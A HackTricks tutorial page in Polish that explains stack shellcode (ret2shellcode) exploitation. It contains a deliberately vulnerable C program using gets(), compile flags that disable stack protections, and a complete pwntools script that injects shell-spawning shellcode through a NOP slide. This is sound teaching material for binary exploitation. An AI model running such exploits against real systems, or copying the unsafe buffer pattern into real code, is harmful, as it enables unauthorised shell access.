Stack Shellcode

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Kod shellcode na stosie to technika używana w eksploatacji binarnej, gdzie atakujący zapisuje shellcode do stosu podatnego programu, a następnie modyfikuje Wskaźnik Instrukcji (IP) lub Rozszerzony Wskaźnik Instrukcji (EIP), aby wskazywał na lokalizację tego shellcode, powodując jego wykonanie. Jest to klasyczna metoda używana do uzyskania nieautoryzowanego dostępu lub wykonania dowolnych poleceń na systemie docelowym. Oto rozbudowanie procesu, w tym prosty przykład w języku C i sposób napisania odpowiadającego exploitu przy użyciu Pythona z pwntools.

Przykład w języku C: Podatny program

Zacznijmy od prostego przykładu podatnego programu w języku C:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Ten program jest podatny na przepełnienie bufora ze względu na użycie funkcji gets().

Kompilacja

Aby skompilować ten program wyłączając różne zabezpieczenia (aby zasymulować środowisko podatne na ataki), możesz użyć poniższej komendy:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Wyłącza ochronę stosu.

  • -z execstack: Sprawia, że stos jest wykonywalny, co jest konieczne do wykonania shellcode przechowywanego na stosie.

  • -no-pie: Wyłącza wykonywalność niezależną od pozycji, ułatwiając przewidywanie adresu pamięci, w którym będzie znajdować się nasz shellcode.

  • -m32: Kompiluje program jako wykonywalny 32-bitowy plik, często używany ze względu na prostotę w rozwijaniu exploitów.

Python Exploit using Pwntools

Oto jak można napisać exploit w Pythonie, korzystając z pwntools, aby przeprowadzić atak ret2shellcode:

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Ten skrypt konstruuje ładunek składający się z slajdu NOP, kodu powłoki, a następnie nadpisuje EIP adresem wskazującym na slajd NOP, zapewniając wykonanie kodu powłoki.

Slajd NOP (asm('nop')) jest używany do zwiększenia szansy, że wykonanie "poślizgnie się" do naszego kodu powłoki bez względu na dokładny adres. Dostosuj argument p32() do adresu początkowego bufora plus przesunięcia, aby trafić na slajd NOP.

Protections

  • ASLR powinien być wyłączony, aby adres był niezawodny podczas kolejnych wykonan lub adres, pod którym będzie przechowywana funkcja, nie będzie zawsze taki sam i będziesz potrzebować wycieku, aby dowiedzieć się, gdzie jest załadowana funkcja win.

  • Kanarki stosu również powinny być wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nie zostanie nigdy wykonany.

  • NX ochrona stosu uniemożliwi wykonanie kodu powłoki wewnątrz stosu, ponieważ ta strefa nie będzie wykonawcza.

Inne przykłady i odnośniki

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated